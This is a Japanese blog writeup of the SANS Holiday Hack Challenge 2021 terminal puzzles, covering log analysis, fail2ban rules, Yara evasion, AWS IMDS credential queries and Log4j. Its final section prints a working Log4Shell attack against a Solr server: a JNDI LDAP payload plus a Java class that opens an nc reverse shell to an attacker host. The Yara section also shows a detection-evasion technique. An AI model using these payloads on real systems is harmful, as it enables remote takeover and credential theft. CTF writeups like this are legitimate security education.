Holiday Hack Challenge 2021 Writeup (Terminal)
今年も去年末~年明けに開催されたSANS Holiday Hack Challengeに参加しました。今年は何とか期間中に全問正答&レポート提出を果たしました。ランダム賞あたればいいな😊
※まだの方はこちらから参加できます。
https://www.sans.org/mlp/holiday-hack-challenge/
本記事は、Holiday Hack Challenge 2021のTerminalのWriteupです。
※ObjectiveのWriteupはこちら。
fatsheep.hateblo.jp
Exif Metadata
Jackが改ざんしたdocxファイルを見つける問題。ヒントとして、「exiftool」が導入されているとのこと。
試しに1つのファイルに対して実行してみる。
結果の中で、「Creator」と「Last Modified By」が確認できる。
Jackが改ざんしたということなので、全ファイル対してexiftoolを実行し結果をJackでGrepする。
1件ヒット。あとは処理対象のファイル名も出力し、Jackが改ざんしたであろうファイルを特定する。
Answer: 2021-12-21.docx
Grepping for Gold
nmapした結果からLinuxのコマンドを利用し、出題されるクイズに回答していくという問題。
Q1 - What port does 34.76.1.22 have open?
Answer: 62078
Q2 - What port does 34.77.207.226 have open?
Answer: 8080
Q3 - How many hosts appear "Up" in the scan?
Answer: 26054
Q4 - How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
Answer: 14372
Q5 - How many hosts with status Up have no (detected) open TCP ports?
端末の状態が「Up」の数をカウントし、その中からポートの状態が「open」ではない数を計算。
Answer: 402
Q6 - What's the greatest number of TCP ports any one host has open?
whileループを利用し、まずは各行に含まれる「open」の数をカウントする。その後、その結果全体を逆順でソートし最大値を求める。
Answer: 12
Logic Munchers
論理式が「True」の部分をすべて選択し消すゲーム。
Javascriptのソースコードを確認する。各セルの情報(論理式の問題文、正答判定するための論理値)は「challenges」という2次元配列の変数に格納されている。その変数の内容はゲーム開始時にwebsocketによりサーバから受信している。
またゲームクリアの判定は「checkWin」メソッドにより行われており、上記のchallenges変数の中にTrueが1つも存在しなければゲームクリア、という判定が行われる。
challenges変数はブラウザの開発者ツールのコンソールで書き換え可能なため、ゲーム開始直後にすべてのセルの論理値をFalseに変え、手動でcheckWinメソッドを呼び出しゲーム終了させればよさそう。
ゲームはフレームを利用し表示されるため、開発者ツール上で対象のフレームを選択しておく。
その後、以下のコードを実行し、全セルをFalseに変更→checkWinメソッドを実行する。
for(let i=0;i<6;i++) for(let j=0;j<6;j++) challenges[j][i]=['false', false] checkWin()
実行した直後に、ステージクリアとなった。
IPv6 Sandbox
別のホストを探し、パスワードを調査する問題。
まずは同じローカルネットワーク内の端末の調査をするため、自PCのIPを確認する。
nmapコマンドを利用し、同ネットワーク内にあるホストを調査する。
いくつか見つかり、IPアドレスが末尾2の端末にcurlでアクセスしてみる。
するとIPv6経由でアクセスしないといけないといわれる。
自端末のIPv4アドレスの末尾が3でIPv6アドレスの末尾も3であるため、ターゲット端末のIPv6アドレスも同じ形式だろうとあたりをつけ、curlでアクセスしてみる。
アクセスでき表示が変わった。今度は別のポートに接続しパスフレーズを入手せよ、とのこと。上でnmap実行した際は80番ポートしか開いていなかったが、もしかするとIPv6でポートスキャンすると変わるかも?、と考え、今度はIPv6アドレスに対してnmapを実行してみる。
9000番ポートが開いていた。今度はこのポートに対してcurlを実行する。
パスフレーズが得られた。
Answer: PieceOnEarth
HoHo ... No
あるアプリケーションのアクセスログをベースに、指定された条件で自動でアクセスブロックする仕組みをfail2banに設定する問題。
ログは以下のような形式で記録されている。
このうち、ログの内容などから不正アクセスのアクセスログは以下の4つの書式であった。
<date> <time> <ip> sent a malformed request <date> <time> Failed login from <ip> for <string> <date> <time> Invalid heartbeat '<string>' from <ip> <date> <time> Login from <ip> rejected due to unknown user name
上記のログが接続元IP毎に1時間に10回以上出現した場合は、そのIPを遮断する。遮断に利用するプログラムは「/root/naughtylist」というものである。
まずは不正なログを抽出するためのFilterルールを作成する。不正なログは上記の4つのタイプのログとなるため、Filterルールは以下のように作成した。
# /etc/fail2ban/filter.d/hohono.conf [Definition] failregex = <HOST> sent a malformed request$ Failed login from <HOST> for .*$ Invalid heartbeat '[^']+' from <HOST>$ Login from <HOST> rejected due to unknown user name$
次にActionルールを作成する。不正なログを検知した際に動作させるプログラムを指定する。Actionルールは以下のように作成した。
# /etc/fail2ban/action.d/hohono.conf [Definition] actionban = /root/naughtylist add <ip> actionunban = /root/naughtylist del <ip>
最後にJailルールを作成する。これは監視するログファイルや、監視期間とログの出現回数を指定し、FilterルールとActionルールを紐づけfail2banに動作させるための設定。Jailルールは以下のように生成した。
# /etc/fail2ban/jail.d/hohono.conf [hohono] enabled = true filter = hohono action = hohono logpath = /var/log/hohono.log maxretry = 10 findtime = 3600 backend = auto
設定ファイル作成後に、設定の適用と状態確認を行っておく。
正常に設定ファイルが読み込まれた模様。
最後に、ログファイルを更新しfail2banに新たにログを読み込ませる(本タスクの正答を確認させる)ために、以下のコマンドを実行する。
正常にプログラムが実行され、システムが守られた旨のメッセージが表示された。
Yara Analysis
プログラムが実行できる状態で改変を行い、指定されたYaraルールを回避するという問題。
カレントディレクトリにある実行ファイルを実行するとYaraルールにヒットしたメッセージが表示される。
Yaraファイルには数万個のルールが記載されている。(実行ファイルは編集可能だが、Yaraルールのファイルはパーミッションで修正できないようになっていた。)
最初にヒットしたルール135を確認する。
バイナリのStringsで「candycane」を検知している模様。
バイナリのバックアップを取り、viで修正する。
「candy」を「dandy」に修正した。再度実行する。
次はルール1056にヒットしたようなので、Yaraルールを確認すると、「6c 6962~」というバイト列を検知するもの。
同様にバックアップを取り、viでバイナリを編集する。
ASCII文字列の最後の「!」を「"」に修正し、再度実行する。
次はルール1732にヒットした。ルールの内容を確認すると、3つのルールのAndをとっており、1つ目がELFファイルのマジックナンバーの確認、2つ目がファイルサイズが50kb以下、3つ目が文字列チェックで10個以上ヒットする場合、これらすべてに合致するか見ている。
一番簡単そうなファイルサイズを増やす回避手法をとる。バックアップ採取後、ファイルの末尾にヌルバイトを35000バイトを付加しファイルのサイズを増加させる。
実行した結果、Yaraルールの検知をかいくぐり、正常に実行させることができた。
IMDS Exploration
IMDSの操作方法を習得するチュートリアル問題。基本的に指示に従ってコマンドを打っていく。
打つコマンド群は以下の通り。
ping 169.254.169.254 next curl http://169.254.169.254 curl http://169.254.169.254/latest curl http://169.254.169.254/latest/dynamic curl http://169.254.169.254/latest/dynamic/instance-identity/document curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq next curl http://169.254.169.254/latest/meta-data curl http://169.254.169.254/latest/meta-data/public-hostname curl http://169.254.169.254/latest/meta-data/public-hostname ; echo curl http://169.254.169.254/latest/meta-data/iam/security-credentials curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role next cat gettoken.sh source gettoken.sh echo $TOKEN curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
Elf Code Python
ブラウザ上でゲームを通してPythonプログラミングのトレーニングを行う問題。各問題にはコードの最大行数とメソッド実行数の制限がある。
Level 0 - Elf Code Demo
デモ問題。「Run」を実行するのみ。
Level 1 - Get Moving
import elf, munchkins, levers, lollipops, yeeters, pits elf.moveLeft(10) elf.moveUp(10)
Level 2 - Get moveTo ' ing
import elf, munchkins, levers, lollipops, yeeters, pits all_lollipops = lollipops.get() lollipop1 = all_lollipops[1] lollipop0 = all_lollipops[0] elf.moveTo(lollipop1.position) elf.moveTo(lollipop0.position) elf.moveLeft(3) elf.moveUp(6)
Level 3 - Don't Get Yeeted!
import elf, munchkins, levers, lollipops, yeeters, pits lever0 = levers.get(0) lollipop0 = lollipops.get(0) elf.moveTo(lever0.position) lever0.pull(lever0.data() + 2) elf.moveTo(lollipop0.position) elf.moveUp(10)
Level 4 - Data Types
import elf, munchkins, levers, lollipops, yeeters, pits lever0, lever1, lever2, lever3, lever4 = levers.get() elf.moveLeft(2) lever4.pull("str") elf.moveTo(lever3.position) lever3.pull(True) elf.moveTo(lever2.position) lever2.pull(1) elf.moveTo(lever1.position) lever1.pull([1,2]) elf.moveTo(lever0.position) lever0.pull({'a':1}) elf.moveUp(2)
Level 5 - Conversions and Comparisons
import elf, munchkins, levers, lollipops, yeeters, pits, math lever0, lever1, lever2, lever3, lever4 = levers.get() elf.moveLeft(2) lever4.pull(lever4.data() + " concatenate") elf.moveTo(lever3.position) lever3.pull(True) elf.moveTo(lever2.position) lever2.pull(lever2.data() + 1) elf.moveTo(lever1.position) lever1.pull(lever1.data() + [1]) elf.moveTo(lever0.position) lever0_data = lever0.data() lever0_data.update({"strkey":"strvalue"}) lever0.pull(lever0_data) elf.moveUp(2)
Level 6 - Types And Conditionals
import elf, munchkins, levers, lollipops, yeeters, pits elf.moveUp(2) lever = levers.get(0) data = lever.data() print(data) if type(data) == bool: data = not data elif type(data) == int: data = data * 2 elif type(data) == list: for i in range(len(data)): data[i] += 1 elif type(data) == str: data = data + data elif type(data) == dict: data['a'] += 1 print(data) lever.pull(data) elf.moveUp(2)
Level 7 - Up Down Loopiness
import elf, munchkins, levers, lollipops, yeeters, pits for num in range(3): elf.moveLeft(3) elf.moveUp(11) elf.moveLeft(4) elf.moveDown(11)
Level 8 - Two Paths, Your Choice
import elf, munchkins, levers, lollipops, yeeters, pits all_lollipops = lollipops.get() for lollipop in all_lollipops: elf.moveTo(lollipop.position) lever0 = levers.get(0) elf.moveTo(lever0.position) lever0.pull(["munchkins rule"] + lever0.data()) elf.moveDown(3) elf.moveLeft(6) elf.moveUp(2)
Level 9 - Yeeter Swirl
import elf, munchkins, levers, lollipops, yeeters, pits def func_to_pass_to_mucnhkin(list_of_lists): sum = 0 for l1 in list_of_lists: for l0 in l1: if type(l0) == int: sum += l0 return sum munchkins.get(0).answer(func_to_pass_to_mucnhkin) levers = levers.get() moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2 for i, move in enumerate(moves): move(i + 1) if i < len(levers): levers[i].pull(i) elf.moveUp(2) elf.moveLeft(4) elf.moveUp(1)
Level 10 - Munchkin Dodging Finale
import elf, munchkins, levers, lollipops, yeeters, pits import time muns = munchkins.get() lols = lollipops.get()[::-1] for index, mun in enumerate(muns): if index%2 == 0: ok_pos = 0 else: ok_pos = 12 while True: if mun.position['x'] == ok_pos: break time.sleep(0.05) elf.moveTo(lols[index].position) elf.moveLeft(6) elf.moveUp(2)
Strace Ltrace Retrace
プログラムが正常に動作しないので、それを直すという問題。
カレントディレクトリに実行ファイルがあるので、まずは実行してみる。
すると設定ファイルがない、とエラーが表示される。
ヒントとしてltraceコマンドやstraceコマンドを利用する、と与えられているので、ltraceコマンドで実行する。
するとfopenコマンドで「registration.json」を読み込もうとしている。
どのような内容にすべきか不明なため、いったん適当なJSON形式の文字列で保存する。その後再度実行してみる。
ファイルの読み込みは正常に行え、次の処理に進んだ。
今度はstrstrコマンドでファイルの中身の確認を行っているようで、「Registration」という文字列がないか確認している。JSONのキーにあたる部分を「Registration」に修正し、再度実行してみる。
「Registration」と、キー・バリューの区切りの「:」のチェックにパスした。次は「True」という文字列の有無を確認しているため、JSONのバリューの値を「True」に修正し、再度実行してみる。
正常に起動できた。
Frostavator
フロストタワーのエレベータに乗ろうとすると電源がなく動作しない模様。パネルを開いてみる。
以下の画像のように、4つの入力に対し画像のような回路で各論理ゲートを通し、すべての電源をオンにした状態にしないといけない模様。論理ゲートは6つ(6種類)あるため、すべての組み合わせは720通りとなる。
全種類を試すPythonのコードを作成し、すべての出力がオンになる配置を調査する。コードは以下の通り。
import itertools def g_and(a, b): return a and b def g_or(a, b): return a or b def g_xor(a, b): return a ^ b def g_nand(a, b): return ~g_and(a, b) def g_nor(a, b): return ~g_or(a, b) def g_nxor(a, b): return ~g_xor(a, b) input_list = ["0", "1", "0", "1"] gate_list = ["g_and", "g_or", "g_xor", "g_nand", "g_nor", "g_nxor"] for t in itertools.permutations(gate_list, 6): m1 = eval(t[0] + "(" + input_list[0] + "," + input_list[1] + ")") m2 = eval(t[1] + "(" + input_list[1] + "," + input_list[2] + ")") m3 = eval(t[2] + "(" + input_list[2] + "," + input_list[3] + ")") o1 = eval(t[3] + "(" + str(m1) + "," + str(m2) + ")") o2 = eval(t[4] + "(" + str(m1) + "," + str(m3) + ")") o3 = eval(t[5] + "(" + str(m2) + "," + str(m3) + ")") if o1 + o2 + o3 == 3: print(list(t)[0:3]) print(list(t)[3:6]) break
結果は以下の通り。
kali@kali:~$ python3 frostavator.py ['g_and', 'g_or', 'g_nor'] ['g_xor', 'g_nxor', 'g_nand']
結果の通り論理ゲートのパネルを配置したところ、エレベータの電源が入った。
Holiday Hero
CTFに参加しているメンバの2人でプレイできる音ゲー。上から降りてくる音符をタイミングよくキャッチし、80%以上エネルギーをためサンタのソリを動かす、というもの。エルフからは2人でもプレイできるが、1人でもプレイできることを教えられる。
何度か2人でプレイしてみたが、タスククリアにはならなかったため、どうやら1人でプレイしクリアする必要がある模様。
ゲーム画面からは1人プレイで実行、みたいな機能はなかったので、開発者ツールを開き色々見ていたところCookieにそれらしい設定を発見。
この設定を「true」に変更する。
その後、ゲーム画面のフレームのみ再読み込みし、変更したCookieをサーバ側へ反映させる。
ただこの変更のみでは特に動作に変わりはなく、1人プレイができなかった。そこで、JavaScriptで何等か設定(変数)があるのでは、と考え、コンソールで調査してみる。
※ゲーム画面はiframeになっているため、コンソール操作前に対象のフレームを指定しておく。
コンソールで試しに「sing」と打ってみたところ、候補にズバリの変数「single_player_mode」を見つけた。
デフォルト値は「false」になっていたため、これを「true」に変更する。
すると変更した瞬間、「COMPUTER」という名前のユーザがログインしてきた。プレイしてみるとCOMPUTERはすべての音符をキャッチしてくれる模様。
ゲームを開始し、80%以上のエネルギーをためた状態でゲーム終了すると、タスククリアとなった。
Bonus! Blue Log4Jack
チュートリアルに従って、Log4jの検知(ソースコードからと、アクセスログから)を行う手法を実践する。実行コマンドは以下の通り。
next ls cd vulnerable/ ls cat DisplayFilev1.java javac DisplayFilev1.java java DisplayFilev1 testfile.txt java DisplayFilev1 testfile2.txt next cat DisplayFilev2.java next javac DisplayFilev2.java java DisplayFilev2 testfile2.txt next java DisplayFilev2 '${java:version}' java DisplayFilev2 '${env:APISECRET}' next ./startserver.sh java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}' cd ~/patched ls source classpath.sh javac DisplayFilev2.java java DisplayFilev2 '${java:version}' cd log4j2-scan vulnerable/ log4j2-scan patched/ log4j2-scan /var/www/solr/ next ls /var/log/www cat logshell-search.sh ./logshell-search.sh /var/log/www ./logshell-search.sh /var/log/www | sed '1!d' ./logshell-search.sh /var/log/www | sed '2!d' ./logshell-search.sh /var/log/www | sed '3!d' next
Bonus! Red Log4Jack
以下のHelpページを参考に、Log4jの攻撃方法を体験する。 https://gist.github.com/joswr1ght/fb361f1f1e58307048aae5c0f38701e4
実行コマンドは以下の通り。
# In the middle terminal curl http://solrpower.kringlecastle.com:8983/solr/ cd marshalsec ls ip a java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.7:8080/#YuleLogExploit" # In the bottom terminal cd web cat << EOF >> YuleLogExploit.java public class YuleLogExploit { static { try { java.lang.Runtime.getRuntime().exec("nc 172.17.0.7 4444 -e /bin/bash"); } catch (Exception err) { err.printStackTrace(); } } } EOF javac YuleLogExploit.java ls curl 'http://solrpower.kringlecastle.com:8983/solr/admin/cores?foo=$\{jndi:ldap://172.17.0.7:1389/YuleLogExploit\}' # In the upper right terminal whoami cat /home/solr/kringle.txt
ObjectivesのWriteupに続く...
fatsheep.hateblo.jp